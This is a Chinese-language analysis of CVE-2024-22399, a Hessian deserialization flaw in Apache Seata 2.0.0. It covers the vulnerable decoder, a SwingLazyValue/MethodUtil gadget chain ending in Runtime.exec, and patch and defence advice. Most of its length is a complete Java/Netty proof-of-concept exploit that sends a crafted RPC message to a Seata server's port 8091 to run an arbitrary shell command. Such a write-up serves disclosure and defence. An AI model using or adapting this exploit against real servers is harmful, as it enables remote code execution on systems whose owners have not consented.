CVE-2024-22399 Apache Seata Hessian反序列化漏洞
字数 1165 2025-08-22 22:47:39
Apache Seata Hessian反序列化漏洞(CVE-2024-22399)分析与利用
漏洞概述
Apache Seata是一款开源的分布式事务解决方案。在2.0.0版本中,存在一个Hessian反序列化漏洞(CVE-2024-22399),攻击者可以通过构造恶意请求在目标服务器上执行任意代码。
漏洞原理
该漏洞源于Seata服务端在处理RPC消息时,使用了Hessian反序列化器来处理消息体(body),且未对反序列化的类进行限制。当消息的codecType设置为22(HESSIAN)时,服务端会使用Hessian反序列化器处理消息体,导致反序列化漏洞。
漏洞分析
关键代码分析
漏洞主要存在于ProtocolV1Decoder类的decodeFrame方法中:
public Object decodeFrame(ByteBuf frame) {
// ...省略头部检查代码...
Serializer serializer = SerializerServiceLoader.load(SerializerType.getByCode(rpcMessage.getCodec()));
rpcMessage.setBody(serializer.deserialize(bs));
// ...省略其他代码...
}
当rpcMessage.getCodec()返回22时,会使用Hessian反序列化器:
public enum SerializerType {
SEATA((byte)1),
PROTOBUF((byte)2),
KRYO((byte)4),
FST((byte)8),
HESSIAN((byte)22),
JACKSON((byte)50);
}
Hessian反序列化器的实现如下:
public <T> T deserialize(byte[] bytes) {
T obj = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(is);
obj = input.readObject();
input.close();
// ...省略异常处理代码...
} catch (IOException var16) {
LOGGER.error("Hessian decode error:{}", var16.getMessage(), var16);
}
return obj;
}
漏洞利用链
POC中使用了以下利用链:
MimeTypeParameterList->UIDefaults->SwingLazyValue->MethodUtil.invoke->Runtime.exec
关键利用代码如下:
public Object GenObject(String cmd) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil")
.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime")
.getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke",
new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});
uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
漏洞复现
环境准备
- 下载Apache Seata 2.0.0版本
- 使用默认配置启动Seata Server
攻击步骤
-
构造恶意RPC消息:
- 设置codecType为22(HESSIAN)
- 设置body为恶意序列化对象
-
使用Netty客户端连接Seata Server(默认端口8091)
-
发送恶意请求触发漏洞
POC代码
完整POC代码如下:
package org.example;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import io.netty.bootstrap.Bootstrap;
import io.netty.buffer.ByteBuf;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.MessageToByteEncoder;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.seata.core.protocol.RpcMessage;
import io.seata.core.compressor.Compressor;
import io.seata.core.compressor.CompressorFactory;
import io.seata.core.rpc.netty.v1.HeadMapSerializer;
import io.seata.serializer.hessian.HessianSerializerFactory;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Map;
import static io.seata.common.util.ReflectionUtil.setFieldValue;
public class SeataPoc {
public SeataPoc() {
}
public void SendPoc(String host, int port) throws InterruptedException {
EventLoopGroup group = new NioEventLoopGroup();
try {
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(group)
.channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(new HessianEncoder());
ch.pipeline().addLast(new SendPocHandler());
}
});
ChannelFuture future = bootstrap.connect(host, port).sync();
future.channel().closeFuture().sync();
} finally {
group.shutdownGracefully();
}
}
private class HessianEncoder extends MessageToByteEncoder {
public HessianEncoder() {
}
public void encode(ChannelHandlerContext ctx, Object msg, ByteBuf out) {
try {
if (!(msg instanceof RpcMessage)) {
throw new UnsupportedOperationException("Not support this class:" + msg.getClass());
}
RpcMessage rpcMessage = (RpcMessage) msg;
int fullLength = 16;
int headLength = 16;
byte messageType = rpcMessage.getMessageType();
out.writeBytes(new byte[]{-38, -38});
out.writeByte(1);
out.writerIndex(out.writerIndex() + 6);
out.writeByte(messageType);
out.writeByte(rpcMessage.getCodec());
out.writeByte(rpcMessage.getCompressor());
out.writeInt(rpcMessage.getId());
Map<String, String> headMap = rpcMessage.getHeadMap();
if (headMap != null && !headMap.isEmpty()) {
int headMapBytesLength = HeadMapSerializer.getInstance().encode(headMap, out);
headLength += headMapBytesLength;
fullLength += headMapBytesLength;
}
byte[] bodyBytes = null;
if (messageType != 3 && messageType != 4) {
SerializerFactory hessian = HessianSerializerFactory.getInstance();
hessian.setAllowNonSerializable(true);
byte[] stream = null;
try {
com.caucho.hessian.io.Serializer serializer1 = hessian.getSerializer(rpcMessage.getBody().getClass());
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
serializer1.writeObject(rpcMessage.getBody(), output);
output.close();
stream = baos.toByteArray();
} catch (IOException var7) {
System.out.println(var7);
}
bodyBytes = stream;
Compressor compressor = CompressorFactory.getCompressor(rpcMessage.getCompressor());
bodyBytes = compressor.compress(bodyBytes);
fullLength += bodyBytes.length;
}
if (bodyBytes != null) {
out.writeBytes(bodyBytes);
}
int writeIndex = out.writerIndex();
out.writerIndex(writeIndex - fullLength + 3);
out.writeInt(fullLength);
out.writeShort(headLength);
out.writerIndex(writeIndex);
} catch (Throwable var12) {
System.out.println(var12);
}
}
}
private class SendPocHandler extends ChannelInboundHandlerAdapter {
@Override
public void channelActive(ChannelHandlerContext ctx) throws Exception {
RpcMessage rpcMessage = new RpcMessage();
rpcMessage.setCodec((byte)22); // 使用Hessian序列化
rpcMessage.setBody(GenObject("touch /tmp/123")); // 设置恶意对象
ctx.writeAndFlush(rpcMessage);
}
public Object GenObject(String cmd) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil")
.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime")
.getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke",
new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});
uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
}
public static void main(String[] args) throws Exception {
SeataPoc seataPoc = new SeataPoc();
seataPoc.SendPoc("127.0.0.1", 8091);
}
}
修复方案
Apache Seata官方已发布修复补丁:
-
补丁commit:
- https://github.com/apache/incubator-seata/commit/d577cfc147f7d6615e458016671d7953816ed193
- https://github.com/apache/incubator-seata/commit/736f2b936ad44c9cdda2a8b3dcc5884b3e0ff285
-
修复建议:
- 升级到最新版本
- 对Hessian反序列化的类进行白名单限制
防御措施
- 及时升级到修复版本
- 在网络边界限制对Seata Server端口的访问
- 使用安全产品监控异常反序列化行为
- 考虑使用其他更安全的序列化协议替代Hessian
总结
CVE-2024-22399是一个典型的Hessian反序列化漏洞,攻击者可以通过构造恶意RPC消息在Seata Server上执行任意命令。由于Seata在分布式系统中通常处于核心位置,该漏洞危害较大,建议用户及时升级修复。